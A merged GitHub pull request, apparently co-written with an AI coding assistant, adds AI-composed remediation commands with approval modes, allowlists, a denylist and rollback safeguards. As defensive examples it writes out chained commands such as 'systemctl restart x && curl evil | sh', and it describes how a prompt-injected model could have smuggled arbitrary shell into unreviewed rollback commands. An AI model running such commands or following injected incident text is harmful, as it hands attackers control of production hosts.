feat(auto-remediation): let AI compose and run remediation commands - #3003
Merged
Conversation
Auto-remediation could only pick a runbook a human had already written, so
its coverage was exactly the set of pre-authored runbooks and the AI could
not adapt one to the situation. This adds the lane the roadmap called Phase
3: a rule may let the AI diagnose a signal and compose concrete Bash/SSH
commands for Runners the operator opted in.
Two modes per rule. Suggest (the default) is read-only: the run proposes a
command plan and a human approves the whole plan with one click, and the
approve API executes it under the approver's identity. FullAuto may execute
inline, but only commands matching an operator-authored allowlist on the
rule.
Consent is a three-switch chain, each defaulting off: the project's
enableAiCommandExecution, the Runner's canRunAiCommands capability, and the
rule's aiComposesCommands. Removing any one stops execution, and the claim
path serves AiRemediation-origin jobs only to Runners still holding the
capability, so a dashboard revoke lands within a heartbeat.
What bounds a command:
- A hard denylist refuses catastrophic commands everywhere, even with
human approval. It is a backstop, not a sandbox, and says so.
- A structural guard bars chaining, pipes, redirection and substitution
from auto-execution. This is what makes glob allowlists meaningful:
"systemctl restart *" cannot match "systemctl restart x && curl evil".
- The operator allowlist decides what may run with no human in the loop.
No allowlist, no auto-execution.
Rollback commands clear the same bar as forward commands, because the
verifier runs them unattended when a service does not recover — in FullAuto
they must be allowlisted, and in both modes they must be structurally
simple. Verification extends to command plans and rolls back what ran when
the window closes unrecovered, which is the undo the runbook lane never had.
Secrets never reach the model: AI-composed scripts are exempt from
{{runbookSecrets.NAME}} substitution at claim time (a placeholder that reads
harmlessly on an approval card would otherwise expand to plaintext), and
commands reference credentials only by id, resolved for the target Runner at
claim time. Command output is redacted before it returns to the LLM.
Every command is persisted to the suggestion before it can run, and the
write failing aborts the command — that record is what lets a retried run,
a stale-swept run, or the stranded-suggestion sweeper settle what already
happened instead of running it again. The Runner re-checks its own
capability and the denylist before executing, so the on-host refusal does
not depend on the control plane being honest.
Storm brakes: a per-run command budget, the per-rule hourly circuit breaker
(which downgrades FullAuto to Suggest), and a project-wide hourly ceiling
enforced at the single enqueue chokepoint so approved plans and rollbacks
share it.
Accepted limitation: a Runner binary older than this change has no
agent-side re-check, so for it the server-side gates are the only ones.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01XV4xsEr6curpMnYHibqJwS
Contributor
Author
✅ Snyk checks have passed. No issues have been found so far.
💻 Catch issues earlier using the plugins for VS Code, JetBrains IDEs, Visual Studio, and Eclipse. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What this adds
Auto-remediation today can only pick a runbook a human already wrote. Remediation coverage is therefore exactly the set of pre-authored runbooks, and the AI cannot adapt one to the situation — steps take no arguments. This PR adds the lane that closes that gap: a rule may let the AI diagnose a signal and compose concrete Bash/SSH commands for Runners the operator opted in.
Two modes, chosen per rule:
Why it is safe to turn on
Consent is a three-switch chain, every switch default-off.
Project.enableAiCommandExecution, the Runner'scanRunAiCommandscapability, and the rule'saiComposesCommands. Turning any one off stops execution; the claim path only servesAiRemediation-origin jobs to Runners still holding the capability, so a dashboard revoke takes effect within one heartbeat.Three layers bound what a command may be:
systemctl restart *cannot matchsystemctl restart x && curl evil | sh.Rollback commands clear the same bar as forward commands, because the verifier runs them unattended when a service does not recover: allowlisted in FullAuto, structurally simple in both modes.
Verification and undo. Command plans extend the existing verification window; when it closes without recovery, the executed commands that carry a rollback are undone in reverse order. That is the undo the runbook lane never had.
Secrets never reach the model. AI-composed scripts are exempt from
{{runbookSecrets.NAME}}substitution at claim time — a placeholder reads harmlessly on an approval card and would otherwise expand to plaintext on the host. Commands reference credentials only by id, resolved server-side for the target Runner. Command output is redacted before it returns to the LLM.Crash and retry safety. Every command is persisted onto the suggestion before it can run, and a failed write aborts the command. That record is what lets a retried run, a stale-swept run, or the stranded-suggestion sweeper settle what already happened instead of running it again.
Defense in depth on the host. The Runner re-checks its own capability grant and the denylist before executing, so the on-host refusal does not depend on the control plane being honest.
Storm brakes. A per-run command budget, the per-rule hourly circuit breaker (which downgrades FullAuto to Suggest), and a project-wide hourly ceiling enforced at the single enqueue chokepoint so approved plans and rollbacks share it.
Prompt injection
Incident text, telemetry and command output are all attacker-influenceable, and they all flow into this loop. They are framed as
<untrusted_context>/<tool_result>with frame-escape neutralised and redaction applied before capping. But the framing is not what makes this safe — the allowlist and the structural guard are. An injected model can only ask for commands the operator already sanctioned, and everything else waits for a human.Review process
Findings came from a four-lens adversarial review (security, concurrency, cross-layer contracts, schema), each finding independently double-verified by skeptics instructed to refute. 13 of 18 raised findings survived; 10 are fixed here, two of them serious:
rollbackCommandwas only denylist-checked, never structurally guarded or allowlisted, yet auto-executes. A prompt-injected model could have smuggled arbitrary chained shell into a FullAuto plan no human ever saw.Also fixed: ReDoS in the allowlist glob matcher (compiled regex → linear two-pointer matcher), fail-closed audit persistence, a between-command abort so the executor stands down when verification settles, rollback reconciliation for commands whose pod died mid-flight, the project opt-in re-checked at approval time, the hourly cap moved to the enqueue chokepoint, honest dismiss wording when commands had already run, and backslash-escape hardening of the denylist normaliser.
Accepted limitation: a Runner binary older than this change has no agent-side re-check, so for it the server-side gates are the only ones. Documented in
Runner/README.md.Tests
~430 new tests, all green:
CommandPolicy(68) — a positive and a safe-negative per deny rule, quote/case/backslash evasion, every structural construct, glob anchoring and metacharacter literalness, and a perf assertion pinning the ReDoS fix.AiRemediationCommandPlan(95) — fail-closed parsing of every malformed plan shape.RemediationExecutionRunner(23),RemediationCommandToolkit(34),CommandPlanExecutor(27), command-plan verification (9), allowlist normalisation (22), rule engine (9), queue routing (5).Two agents mutation-tested the security fixes — reverting each fix and confirming the tests fail. Test authoring also found two real bugs, both fixed: a wildcard-ordering bug in the new glob matcher, and the allowlist crashing when the dashboard's JSON field persists a string.
Pre-existing suites updated where this feature legitimately changed their expectations (a third Runner capability; a new autonomous budget label; the background-lane count now including remediation-execution runs).
npm run fixclean;Common,App,RunnerandDashboardall compile with no new errors. The migration was applied against a dev database and verified.Full
Commonsuite: 13,369 passing. Three suites fail —SessionReplayAPI,MonacoRuntime, andZZVerifyChatsAuth— and all three fail identically on clean master (verified in scratch worktrees). This branch touches none of those areas; the third is the same pre-existingBuffer/Uint8Array@types mismatch that also affectsTelemetryAPI.tson master.Rollout
Everything is off by default; no behaviour changes for existing projects until a project enables AI command execution, an operator opts a Runner in, and someone sets a rule to compose commands. The recommended first step is Suggest mode with no allowlist, which can propose but never auto-execute.
🤖 Generated with Claude Code
https://claude.ai/code/session_01XV4xsEr6curpMnYHibqJwS